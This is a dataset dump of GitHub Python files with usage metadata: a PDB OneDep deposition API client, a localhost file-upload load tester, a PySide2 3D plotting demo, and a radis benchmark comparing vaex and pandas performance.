"line_number": 16, "usage_type": "attribute"}, {"api_name": "app.ma", "line_number": 16, "usage_type": "name"}, {"api_name": "marshmallow.fields.String", "line_number": 20, "usage_type": "call"}, {"api_name": "marshmallow.fields", "line_number": 20, "usage_type": "name"}, {"api_name": "marshmallow.fields.Integer", "line_number": 21, "usage_type": "call"}, {"api_name": "marshmallow.fields", "line_number": 21, "usage_type": "name"}, {"api_name": "app.ma.ModelSchema", "line_number": 24, "usage_type": "attribute"}, {"api_name": "app.ma", "line_number": 24, "usage_type": "name"}, {"api_name": "marshmallow.fields.List", "line_number": 33, "usage_type": "call"}, {"api_name": "marshmallow.fields", "line_number": 33, "usage_type": "name"}, {"api_name": "marshmallow.fields.Integer", "line_number": 33, "usage_type": "call"}, {"api_name": "app.crm_resources.crm_distribution_lists.models.CRMDistributionList", "line_number": 36, "usage_type": "name"}, {"api_name": "sqlalchemy.orm.load_only", "line_number": 38, "usage_type": "name"}, {"api_name": "app.base.schemas.default_exclude", "line_number": 39, "usage_type": "name"}, {"api_name": "app.ma.List", "line_number": 42, "usage_type": "call"}, {"api_name": "app.ma", "line_number": 42, "usage_type": "name"}, {"api_name": "app.ma.Url", "line_number": 42, "usage_type": "call"}, {"api_name": "app.ma.List", "line_number": 43, "usage_type": "call"}, {"api_name": "app.ma", "line_number": 43, "usage_type": "name"}, {"api_name": "app.ma.Nested", "line_number": 43, "usage_type": "call"}, {"api_name": "app.ma.List", "line_number": 46, "usage_type": "call"}, {"api_name": "app.ma", "line_number": 46, "usage_type": "name"}, {"api_name": "app.ma.Nested", "line_number": 46, "usage_type": "call"}, {"api_name": "app.ma.List", "line_number": 52, "usage_type": "call"}, {"api_name": "app.ma", "line_number": 52, "usage_type": "name"}, {"api_name": "app.ma.Nested", "line_number": 52, "usage_type": "call"}, {"api_name": "marshmallow.pre_dump", "line_number": 58, "usage_type": "call"}, {"api_name": "app.crm_resources.crm_distribution_file_library.models.CRMDistributionLibraryFile.query.filter", "line_number": 96, "usage_type": "call"}, {"api_name": "app.crm_resources.crm_distribution_file_library.models.CRMDistributionLibraryFile.query", "line_number": 96, "usage_type": "attribute"}, {"api_name": "app.crm_resources.crm_distribution_file_library.models.CRMDistributionLibraryFile", "line_number": 96, "usage_type": "name"}, {"api_name": "app.crm_resources.crm_distribution_file_library.models.CRMDistributionLibraryFile.row_id.in_", "line_number": 97, "usage_type": "call"}, {"api_name": "app.crm_resources.crm_distribution_file_library.models.CRMDistributionLibraryFile.row_id", "line_number": 97, "usage_type": "attribute"}, {"api_name": "app.crm_resources.crm_distribution_file_library.models.CRMDistributionLibraryFile", "line_number": 97, "usage_type": "name"}, {"api_name": "sqlalchemy.orm.load_only", "line_number": 98, "usage_type": "call"}, {"api_name": "marshmallow.ValidationError", "line_number": 105, "usage_type": "call"}, {"api_name": "marshmallow.validates_schema", "line_number": 69, "usage_type": "call"}, {"api_name": "app.ma.List", "line_number": 116, "usage_type": "call"}, {"api_name": "app.ma", "line_number": 116, "usage_type": "name"}, {"api_name": "app.ma.Nested", "line_number": 116, "usage_type": "call"}, {"api_name": "app.base.schemas.BaseReadArgsSchema", "line_number": 123, "usage_type": "name"}, {"api_name": "marshmallow.fields.String", "line_number": 128, "usage_type": "call"}, {"api_name": "marshmallow.fields", "line_number": 128, "usage_type": "name"}, {"api_name": "marshmallow.fields.String", "line_number": 129, "usage_type": "call"}, {"api_name": "marshmallow.fields", "line_number": 129, "usage_type": "name"}]}
{"seq_id": "30807819065", "text": "import os\r\nimport requests\r\nimport webbrowser\r\nfrom pathlib import Path\r\n\r\nKEY_FILE = os.path.join(Path.home(), '.onedep_api.jwt')\r\nAUTH_URL = 'http://pdbe-worker-1.ebi.ac.uk:12000/deposition/auth/authenticate'\r\nNEW_DEP_URL = 'http://pdbe-worker-1.ebi.ac.uk:12000/deposition/api/new'\r\n\r\nclass Deposit:\r\n    def __init__(self, email):\r\n        self._email = email\r\n        print(self._email)\r\n    \r\n    def new(self):\r\n        self.authenticate()\r\n        self.create_deposition()\r\n    \r\n    def authenticate(self):\r\n        if os.access(KEY_FILE, os.R_OK):\r\n            with open(KEY_FILE, encoding='utf-8') as fp:\r\n                self._api_key = fp.read()\r\n\r\n            return True\r\n        \r\n        webbrowser.open_new_tab(AUTH_URL)\r\n\r\n        print('If a browser does not open, copy this link and open it in a working browser: %s' % AUTH_URL)\r\n        \r\n        try:\r\n            self._api_key = input('Enter your API key: ')\r\n            \r\n            with open(KEY_FILE, 'w', encoding='utf-8') as fp:\r\n                fp.write(self._api_key)\r\n        except Exception as e:\r\n            print('Error getting an API key, %s', e)\r\n        \r\n        return False\r\n    \r\n    def create_deposition(self):\r\n        r = requests.post(NEW_DEP_URL, headers={\r\n            'Authorization': 'Bearer %s' % self._api_key,\r\n            'content-type': 'application/json',\r\n        }, json={\r\n            'location': 'United Kingdom',\r\n            'email': self._email,\r\n            'password': 'notNeededAnymore',\r\n            'experiments': [{'method': 'xray'}]\r\n        })\r\n\r\n        print(r.json())\r\n", "repo_name": "wmorellato/deposit_api_test", "sub_path": "src/deposit_api/deposit.py", "file_name": "deposit.py", "file_ext": "py", "file_size_in_byte": 1597, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "os.path.join", "line_number": 6, "usage_type": "call"}, {"api_name": "os.path", "line_number": 6, "usage_type": "attribute"}, {"api_name": "pathlib.Path.home", "line_number": 6, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 6, "usage_type": "name"}, {"api_name": "os.access", "line_number": 20, "usage_type": "call"}, {"api_name": "os.R_OK", "line_number": 20, "usage_type": "attribute"}, {"api_name": "webbrowser.open_new_tab", "line_number": 26, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 41, "usage_type": "call"}]}
{"seq_id": "5040742068", "text": "import requests\r\nimport time\r\nimport json\r\n\r\nfile = open(\"config_experiment.json\")\r\ntest_config = json.load(file)\r\nfile.close()\r\n\r\nsize = 1024*1024*test_config['size_in_MB']\r\nrate = 1/test_config['arc_per_sec']\r\n\r\nfor i in range(test_config['n_arc']):\r\n    file_dict = {'file': bytes(size)}\r\n    time.sleep(rate)\r\n\r\n    print(\"[client] sending...\")\r\n    response = requests.post('http://127.0.0.1:8000/uploadfile_mysql/', files=file_dict)\r\n    print(\"[client] sended\")\r\n    print(response.text)", "repo_name": "Jejinketsu/API_Workload", "sub_path": "client/client.py", "file_name": "client.py", "file_ext": "py", "file_size_in_byte": 494, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "json.load", "line_number": 6, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 14, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 17, "usage_type": "call"}]}
{"seq_id": "23755384112", "text": "#!/usr/bin/env python3\n\n# from broni.shapes.primitives import Cuboid\n# from broni.shapes.callback import SphericalBoundary, Sheath\n# import broni\n#\n# from astropy.units import km\n# from astropy.constants import R_earth\n#\n# import datetime\n# import matplotlib.pyplot as plt\n#\n# import numpy as np\n#\n# from space.models.planetary import formisano1979, mp_formisano1979, bs_formisano1979\n\nimport sys\n\nfrom typing import List\n\nfrom PySide2.QtWidgets import (\n    QApplication,\n    QWidget,\n    QDialog,\n    QVBoxLayout,\n    QHBoxLayout,\n    QCheckBox,\n    QLineEdit,\n    QLabel,\n    QSizePolicy,\n)\n\nfrom PySide2.QtGui import QVector3D, QFont, QQuaternion\n\nfrom PySide2.QtDataVisualization import QtDataVisualization as QtDV\n\nfrom PySide2.QtCore import Signal, Qt, Slot, QSize\n\n\nclass _BaseWidget(QWidget):\n    updated = Signal()\n\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n\n        self._enabled = QCheckBox(\"Enabled\")\n        self._enabled.setCheckState(Qt.CheckState.Checked)\n        self._enabled.stateChanged.connect(self._updated)\n\n        self._layout = QVBoxLayout()\n        self._layout.addWidget(self._enabled)\n\n        self.setLayout(self._layout)\n\n    @Slot()\n    def _updated(self):\n        self.updated.emit()\n\n    @property\n    def enabled(self):\n        return self._enabled.isChecked()\n\n    def _add_labeled_edit(self, value: float, label: str):\n        edit = QLineEdit(str(value))\n        edit.textChanged.connect(self._updated)\n\n        hlayout = QHBoxLayout()\n        hlayout.addWidget(QLabel(label))\n        hlayout.addWidget(edit)\n        self._layout.addLayout(hlayout)\n\n        return edit\n\n    def _add_labeled_edit_3(self, x, y, z: float, label: str):\n        a = QLineEdit(str(x))\n        a.textChanged.connect(self._updated)\n\n        b = QLineEdit(str(y))\n        b.textChanged.connect(self._updated)\n\n        c = QLineEdit(str(z))\n        c.textChanged.connect(self._updated)\n\n        hlayout = QHBoxLayout()\n        hlayout.addWidget(QLabel(label))\n        hlayout.addWidget(a)\n        hlayout.addWidget(b)\n        hlayout.addWidget(c)\n        self._layout.addLayout(hlayout)\n\n        return a, b, c\n\n\nclass SphereWidget(_BaseWidget):\n    def __init__(self, x: float, y: float, z: float, d: float, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n\n        self._d = self._add_labeled_edit(d, \"Diameter\")\n        self._x, self._y, self._z = self._add_labeled_edit_3(x, y, z, \"Center\")\n\n\nclass CuboidWidget(_BaseWidget):\n\n    def __init__(self, x: float, y: float, z: float, w: float, h: float, d: float, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n\n        self._x, self._y, self._z = self._add_labeled_edit_3(x, y, z, \"P0\")\n\n        self._w = self._add_labeled_edit(w, \"Width (X)\")\n        self._h = self._add_labeled_edit(h, \"Height (Y)\")\n        self._d = self._add_labeled_edit(d, \"Depth (Z)\")\n\n\nclass Form(QDialog):\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n\n        self.setWindowTitle(\"My Form\")\n\n        # Create layout and add widgets\n        layout = QVBoxLayout()\n        s = SphereWidget(10, 20, 30, 100)\n        s.updated.connect(self.updated)\n        layout.addWidget(s)\n        s = SphereWidget(100, 120, 130, 200)\n        s.updated.connect(self.updated)\n        layout.addWidget(s)\n\n        s = CuboidWidget(10, 10, 20, 300, 400, 500)\n        s.updated.connect(self.updated)\n        layout.addWidget(s)\n\n\n        surface = QtDV.Q3DScatter()\n        surface.setFlags(surface.flags() ^ Qt.FramelessWindowHint)\n        surface.activeTheme().setType(QtDV.Q3DTheme.ThemeQt)\n\n        surface.setShadowQuality(QtDV.QAbstract3DGraph.ShadowQualityNone)\n        surface.scene().activeCamera().setCameraPreset(QtDV.Q3DCamera.CameraPresetFront)\n\n        surface.setOrthoProjection(True)\n        surface.activeTheme().setBackgroundEnabled(False)\n\n        surface.scene().activeCamera().setMaxZoomLevel(200.0)\n\n        surface.axisX().setRange(0.0, 1000.0)\n        surface.axisY().setRange(-600.0, 600.0)\n        surface.axisZ().setRange(0.0, 1000.0)\n        surface.axisX().setSegmentCount(5)\n        surface.axisY().setSegmentCount(6)\n        surface.axisZ().setSegmentCount(5)\n        #        // Only allow zooming at the center and limit the zoom to 200% to avoid clipping issues\n#        static_cast<Q3DInputHandler *>(m_graph->activeInputHandler())->setZoomAtTargetEnabled(false);\n\n\n        dataRow1 = [QVector3D(0.0, 0.1, 0.5), QVector3D(1.0, 0.5, 0.5)]\n        dataRow2 = [QVector3D(0.0, 1.8, 1.0), QVector3D(1.0, 1.2, 1.0)]\n        data = [dataRow1, dataRow2]\n\n        series = QtDV.QSurface3DSeries()\n        print(\"hello\")\n        series.dataProxy().resetArray(data)\n        surface.addSeries(series)\n\n        warningLabel = QtDV.QCustom3DLabel(\n            \"QCustom3DVolume is not supported with OpenGL ES2\",\n            QFont(),\n            QVector3D(0.0, 0.5, 0.0),\n            QVector3D(1.5, 1.5, 0.0),\n            QQuaternion())\n        warningLabel.setPositionAbsolute(True)\n        warningLabel.setFacingCamera(True)\n        surface.addCustomItem(warningLabel)\n\n        self.surface = surface\n        container = QWidget.createWindowContainer(surface)\n\n        screenSize = surface.screen().size()\n\n        container.setMinimumSize(QSize(screenSize.width() / 3, screenSize.height() / 3))\n        container.setMaximumSize(screenSize)\n        container.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Expanding)\n        container.setFocusPolicy(Qt.StrongFocus)\n\n        hlayout = QHBoxLayout(self)\n        hlayout.addWidget(container, 1)\n        hlayout.addLayout(layout)\n\n\n    @Slot()\n    def updated(self):\n        print('something has been updated')\n\n\nclass Toto(QDialog):\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n\n        self.graph = QtDV.Q3DBars()\n        self.graph.setFlags(self.graph.flags() ^ Qt.FramelessWindowHint)\n\n        self.graph.rowAxis().setRange(0, 4)\n        self.graph.columnAxis().setRange(0, 4)\n\n        # Make some random data points\n        # dataSeries = [(i+1, randint(0, 99999)) for i in range(200)]\n\n        series = QtDV.QBar3DSeries()\n        d = [QtDV.QBarDataItem(v) for v in [1.0, 7.5, 5.0, 2.2]]\n\n        series.dataProxy().addRows([d])\n        self.graph.addSeries(series)\n\n        container = QWidget.createWindowContainer(self.graph)\n        screenSize = self.graph.screen().size()\n        container.setMinimumSize(QSize(screenSize.width() / 3, screenSize.height() / 3))\n        container.setMaximumSize(screenSize)\n        container.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Expanding)\n        container.setFocusPolicy(Qt.StrongFocus)\n\n        l = QVBoxLayout()\n        l.addWidget(QLineEdit(\"hello\"))\n\n        layout = QHBoxLayout(self)\n        layout.addWidget(container, 1)\n        layout.addLayout(l)\n\n\n\nif __name__ == '__main__':\n    # Create the Qt Application\n    app = QApplication(sys.argv)\n    # Create and show the form\n    form = Form()\n    form.show()\n\n    # toto = Toto()\n    # toto.show()\n\n    \"\"\"\n    bars = QtDV.Q3DBars()\n    bars.setFlags(bars.flags() ^ Qt.FramelessWindowHint)\n\n    bars.rowAxis().setRange(0, 4)\n    bars.columnAxis().setRange(0, 4)\n\n    # Make some random data points\n    # dataSeries = [(i+1, randint(0, 99999)) for i in range(200)]\n\n    series = QtDV.QBar3DSeries()\n    d = [QtDV.QBarDataItem(v) for v in [1.0, 7.5, 5.0, 2.2]]\n\n    series.dataProxy().addRows([d])\n    bars.addSeries(series)\n\n    container = QWidget.createWindowContainer(bars)\n    screenSize = bars.screen().size()\n    container.setMinimumSize(QSize(screenSize.width() / 3, screenSize.height() / 3))\n    container.setMaximumSize(screenSize)\n    container.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Expanding)\n    container.setFocusPolicy(Qt.StrongFocus)\n\n    l = QVBoxLayout()\n    l.addWidget(QLineEdit(\"hello\"))\n\n    w = QDialog()\n\n    layout = QHBoxLayout(w)\n    layout.addWidget(container, 1)\n    layout.addLayout(l)\n\n    w.show()\n    \"\"\"\n\n    # Run the main Qt loop\n    sys.exit(app.exec_())\n\n\"\"\"\n\nimport sys\n\n\n\n\nfrom PySide2.QtWidgets import QApplication, QWidget, QVBoxLayout, QSlider, QPushButton, QLabel\nfrom PySide2.QtCore import Qt, Slot\n\nfrom PySide2.QtDataVisualization import QtDataVisualization\n\nfrom PySide2 import QtGui\nfrom PySide2.QtCharts import QtCharts\nfrom PySide2.QtGui import QPainter\n\nfrom PySide2.QtDataVisualization import QtDataVisualization\n\nfrom random import randint\n\n\nif __name__ == '__main__':\n    app = QApplication([])\n#    window = QWidget()\n#    layout = QVBoxLayout()\n\n    # Initialize chart\n#    chart = QtCharts.QChart()\n\n#    lineSeries = QtCharts.QLineSeries()\n\n    bars = QtDataVisualization.Q3DBars()\n    bars.setFlags(bars.flags() ^ Qt.FramelessWindowHint)\n\n    bars.rowAxis().setRange(0, 4)\n    bars.columnAxis().setRange(0, 4)\n\n    # Make some random data points\n    # dataSeries = [(i+1, randint(0, 99999)) for i in range(200)]\n\n    series = QtDataVisualization.QBar3DSeries()\n    d = [QtDataVisualization.QBarDataItem(v) for v in [1.0, 7.5, 5.0, 2.2]]\n\n    print(series.dataProxy().addRow([d]))\n\n    # series.dataProxy().addRow(d)\n    bars.addSeries(series)\n\n    bars.show()\n\n#    layout.addWidget(bars)\n#    window.setLayout(layout)\n\n#    window.show()\n#    window.resize(1500, 1000)\n\n    sys.exit(app.exec_())\n\n@Slot() # slot decorator\ndef youClicked():\n    label.setText(\"You clicked the button\")\n\n@Slot() #slot decorator\ndef sliderValue(val):\n    label.setText('Slider Value: ' + str(val))\n\n\n    # coord_sys = \"gse\"\n\n    # X = np.arange(-200000, 200000, 10).flatten() * km\n\n    app = QApplication([])\n    window = QWidget()\n    layout = QVBoxLayout()  # Define slider widget, note the orientation argument:\n    slider = QSlider(Qt.Horizontal)\n    slider.valueChanged.connect(sliderValue)\n\n    button = QPushButton(\"I'm just a Button man\")\n\n    label = QLabel('¯\\_(ツ)_/¯')\n    button.clicked.connect(youClicked)  # clicked signal\n\n    layout.addWidget(label)\n    layout.addWidget(button)\n    layout.addWidget(slider) # Add the slider\n    window.setLayout(layout)\n    window.show()\n    sys.exit(app.exec_())\n\n\"\"\"\n", "repo_name": "pboettch/OrbitViewer", "sub_path": "example/orbit.py", "file_name": "orbit.py", "file_ext": "py", "file_size_in_byte": 10121, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "PySide2.QtWidgets.QWidget", "line_number": 40, "usage_type": "name"}, {"api_name": "PySide2.QtCore.Signal", "line_number": 41, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets.QCheckBox", "line_number": 46, "usage_type": "call"}, {"api_name": "PySide2.QtCore.Qt.CheckState", "line_number": 47, "usage_type": "attribute"}, {"api_name": "PySide2.QtCore.Qt", "line_number": 47, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QVBoxLayout", "line_number": 50, "usage_type": "call"}, {"api_name": "PySide2.QtCore.Slot", "line_number": 55, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets.QLineEdit", "line_number": 64, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets.QHBoxLayout", "line_number": 67, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets.QLabel", "line_number": 68, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets.QLineEdit", "line_number": 75, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets.QLineEdit", "line_number": 78, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets.QLineEdit", "line_number": 81, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets.QHBoxLayout", "line_number": 84, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets.QLabel", "line_number": 85, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets.QDialog", "line_number": 114, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QVBoxLayout", "line_number": 121, "usage_type": "call"}, {"api_name": "PySide2.QtDataVisualization.QtDataVisualization.Q3DScatter", "line_number": 134, "usage_type": "call"}, {"api_name": "PySide2.QtDataVisualization.QtDataVisualization", "line_number": 134, "usage_type": "name"}, {"api_name": "PySide2.QtCore.Qt.FramelessWindowHint", "line_number": 135, "usage_type": "attribute"}, {"api_name": "PySide2.QtCore.Qt", "line_number": 135, "usage_type": "name"}, {"api_name": "PySide2.QtDataVisualization.QtDataVisualization.Q3DTheme", "line_number": 136, "usage_type": "attribute"}, {"api_name": "PySide2.QtDataVisualization.QtDataVisualization", "line_number": 136, "usage_type": "name"}, {"api_name": "PySide2.QtDataVisualization.QtDataVisualization.QAbstract3DGraph", "line_number": 138, "usage_type": "attribute"}, {"api_name": "PySide2.QtDataVisualization.QtDataVisualization", "line_number": 138, "usage_type": "name"}, {"api_name": "PySide2.QtDataVisualization.QtDataVisualization.Q3DCamera", "line_number": 139, "usage_type": "attribute"}, {"api_name": "PySide2.QtDataVisualization.QtDataVisualization", "line_number": 139, "usage_type": "name"}, {"api_name": "PySide2.QtGui.QVector3D", "line_number": 156, "usage_type": "call"}, {"api_name": "PySide2.QtGui.QVector3D", "line_number": 157, "usage_type": "call"}, {"api_name": "PySide2.QtDataVisualization.QtDataVisualization.QSurface3DSeries", "line_number": 160, "usage_type": "call"}, {"api_name": "PySide2.QtDataVisualization.QtDataVisualization", "line_number": 160, "usage_type": "name"}, {"api_name": "PySide2.QtDataVisualization.QtDataVisualization.QCustom3DLabel", "line_number": 165, "usage_type": "call"}, {"api_name": "PySide2.QtDataVisualization.QtDataVisualization", "line_number": 165, "usage_type": "name"}, {"api_name": "PySide2.QtGui.QFont", "line_number": 167, "usage_type": "call"}, {"api_name": "PySide2.QtGui.QVector3D", "line_number": 168, "usage_type": "call"}, {"api_name": "PySide2.QtGui.QVector3D", "line_number": 169, "usage_type": "call"}, {"api_name": "PySide2.QtGui.QQuaternion", "line_number": 170, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets.QWidget.createWindowContainer", "line_number": 176, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets.QWidget", "line_number": 176, "usage_type": "name"}, {"api_name": "PySide2.QtCore.QSize", "line_number": 180, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets.QSizePolicy.Expanding", "line_number": 182, "usage_type": "attribute"}, {"api_name": "PySide2.QtWidgets.QSizePolicy", "line_number": 182, "usage_type": "name"}, {"api_name": "PySide2.QtCore.Qt.StrongFocus", "line_number": 183, "usage_type": "attribute"}, {"api_name": "PySide2.QtCore.Qt", "line_number": 183, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QHBoxLayout", "line_number": 185, "usage_type": "call"}, {"api_name": "PySide2.QtCore.Slot", "line_number": 190, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets.QDialog", "line_number": 195, "usage_type": "name"}, {"api_name": "PySide2.QtDataVisualization.QtDataVisualization.Q3DBars", "line_number": 199, "usage_type": "call"}, {"api_name": "PySide2.QtDataVisualization.QtDataVisualization", "line_number": 199, "usage_type": "name"}, {"api_name": "PySide2.QtCore.Qt.FramelessWindowHint", "line_number": 200, "usage_type": "attribute"}, {"api_name": "PySide2.QtCore.Qt", "line_number": 200, "usage_type": "name"}, {"api_name": "PySide2.QtDataVisualization.QtDataVisualization.QBar3DSeries", "line_number": 208, "usage_type": "call"}, {"api_name": "PySide2.QtDataVisualization.QtDataVisualization", "line_number": 208, "usage_type": "name"}, {"api_name": "PySide2.QtDataVisualization.QtDataVisualization.QBarDataItem", "line_number": 209, "usage_type": "call"}, {"api_name": "PySide2.QtDataVisualization.QtDataVisualization", "line_number": 209, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QWidget.createWindowContainer", "line_number": 214, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets.QWidget", "line_number": 214, "usage_type": "name"}, {"api_name": "PySide2.QtCore.QSize", "line_number": 216, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets.QSizePolicy.Expanding", "line_number": 218, "usage_type": "attribute"}, {"api_name": "PySide2.QtWidgets.QSizePolicy", "line_number": 218, "usage_type": "name"}, {"api_name": "PySide2.QtCore.Qt.StrongFocus", "line_number": 219, "usage_type": "attribute"}, {"api_name": "PySide2.QtCore.Qt", "line_number": 219, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QVBoxLayout", "line_number": 221, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets.QLineEdit", "line_number": 222, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets.QHBoxLayout", "line_number": 224, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets.QApplication", "line_number": 232, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 232, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 276, "usage_type": "call"}]}
{"seq_id": "20434425871", "text": "import time\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nfrom radis import calc_spectrum, config\nfrom radis.misc.progress_bar import ProgressBar\n\n\ndef compare_vaex_pandas_time():\n    \"\"\"\n    Compares the time performance of pandas and Vaex and generates a plot. This scripts takes several minutes to run.\n    This results shoud shown that vaex and pandas provide similar performances in term if speed.\n    Returns\n    -------\n    None.\n    \"\"\"\n    time_list, timeC_list, lines_list = [], [], []\n    time_list_va, timeC_list_va, lines_list_va = [], [], []\n    wmin = 1000\n    steps = 5\n    wmax_arr = np.geomspace(10, 1000, steps)\n\n    initial_engine = config[\n        \"DATAFRAME_ENGINE\"\n    ]  # To make sure dataframe engine not changed after running this test\n    pb = ProgressBar(N=2 * steps)\n    for i, engine in enumerate([\"vaex\", \"pandas\"]):\n        config[\"DATAFRAME_ENGINE\"] = engine\n        for j, w_range in enumerate(wmax_arr):\n            t0 = time.time()\n            s = calc_spectrum(\n                wmin,\n                wmin + w_range,  # cm-1\n                molecule=\"H2O\",\n                isotope=\"1,2,3\",\n                pressure=1.01325,  # bar\n                Tgas=1000,\n                mole_fraction=0.1,\n                databank=\"hitemp\",  # or 'hitemp'\n                wstep=\"auto\",\n                cutoff=1e-28,\n                verbose=0,\n            )\n            t1 = time.time()\n            if engine == \"vaex\":\n                timeC_list_va.append(s.conditions[\"calculation_time\"])\n                lines_list_va.append(s.conditions[\"lines_calculated\"])\n                time_list_va.append(t1 - t0)\n                # lines_list_va.append(s.conditions['lines_calculated']+s.conditions['lines_cutoff'])\n            else:\n                timeC_list.append(s.conditions[\"calculation_time\"])\n                lines_list.append(s.conditions[\"lines_calculated\"])\n                time_list.append(t1 - t0)\n                # lines_list.append(s.conditions['lines_calculated']+s.conditions['lines_cutoff'])\n            pb.update(i * steps + (j + 1))\n    plt.figure()\n    plt.plot(lines_list, time_list, \"k\", label=\"pandas total\")\n    plt.plot(lines_list, timeC_list, \"k--\", label=\"pandas computation\")\n    plt.plot(lines_list_va, time_list_va, \"r\", label=\"vaex total\")\n    plt.plot(lines_list_va, timeC_list_va, \"r--\", label=\"vaex computation\")\n    plt.ylabel(\"Time [s]\")\n    plt.xlabel(\"Number of lines\")\n    plt.legend()\n\n    config[\"DATAFRAME_ENGINE\"] = initial_engine\n\n\n# Compare the memory performance of Pandas and Vaex\ndef compare_pandas_vs_vaex_memory():\n    \"\"\"\n    Compare memory usage of `engine=\"vaex\"` and `engine=\"pandas\"` in calc_spectrum.\n    Expected behavior is \"vaex\" using much less memory. This function takes tens of seconds to run.\n    Returns\n    -------\n    None.\n    \"\"\"\n\n    import tracemalloc\n\n    initial_engine = config[\n        \"DATAFRAME_ENGINE\"\n    ]  # To make sure dataframe engine not changed after running this test\n    for engine in [\"pandas\", \"vaex\"]:\n        config[\"DATAFRAME_ENGINE\"] = engine\n        tracemalloc.start()\n        s = calc_spectrum(\n            1000,\n            1500,  # cm-1\n            molecule=\"H2O\",\n            isotope=\"1,2,3\",\n            pressure=1.01325,  # bar\n            Tgas=1000,  # K\n            mole_fraction=0.1,\n            wstep=\"auto\",\n            databank=\"hitemp\",  # or 'hitemp', 'geisa', 'exomol'\n            verbose=0,\n        )\n        snapshot = tracemalloc.take_snapshot()\n        memory = tracemalloc.get_traced_memory()\n        tracemalloc.stop()\n\n        # Some raw outputs\n        print(\"\\n******** Engine = {} ***********\".format(engine))\n        print(\n            \"Peak, current = {:.1e}, {:.1e} for {:} lines calculated\".format(\n                *memory, s.conditions[\"lines_calculated\"]\n            )\n        )\n\n        # More sophisticated\n        print(\"*** List of biggest objects ***\")\n        top_stats = snapshot.statistics(\"lineno\")\n        for rank, stat in enumerate(top_stats[:3]):\n            print(\"#{}\".format(rank + 1))\n            print(stat)\n\n        # Clear for next engine in the loop\n        tracemalloc.clear_traces()\n\n    config[\"DATAFRAME_ENGINE\"] = initial_engine\n\n\ncompare_vaex_pandas_time()\ncompare_pandas_vs_vaex_memory()\n", "repo_name": "radis/radis", "sub_path": "radis/test/benchmark/vaex_vs_pandas_performance.py", "file_name": "vaex_vs_pandas_performance.py", "file_ext": "py", "file_size_in_byte": 4268, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 173, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.geomspace", "line_number": 22, "usage_type": "call"}, {"api_name": "radis.config", "line_number": 24, "usage_type": "name"}, {"api_name": "radis.misc.progress_bar.ProgressBar", "line_number": 27, "usage_type": "call"}, {"api_name": "radis.config", "line_number": 29, "usage_type": "name"}, {"api_name": "time.time", "line_number": 31, "usage_type": "call"}, {"api_name": "radis.calc_spectrum", "line_number": 32, "usage_type": "call"}, {"api_name": "time.time", "line_number": 45, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 57, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 57, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 58, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 58, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 59, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 59, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 60, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 60, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 61, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 62, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 62, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 63, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 63, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 64, "usage_type": "name"}, {"api_name": "radis.config", "line_number": 66, "usage_type": "name"}, {"api_name": "radis.config", "line_number": 81, "usage_type": "name"}, {"api_name": "radis.config", "line_number": 85, "usage_type": "name"}, {"api_name": "tracemalloc.start", "line_number": 86, "usage_type": 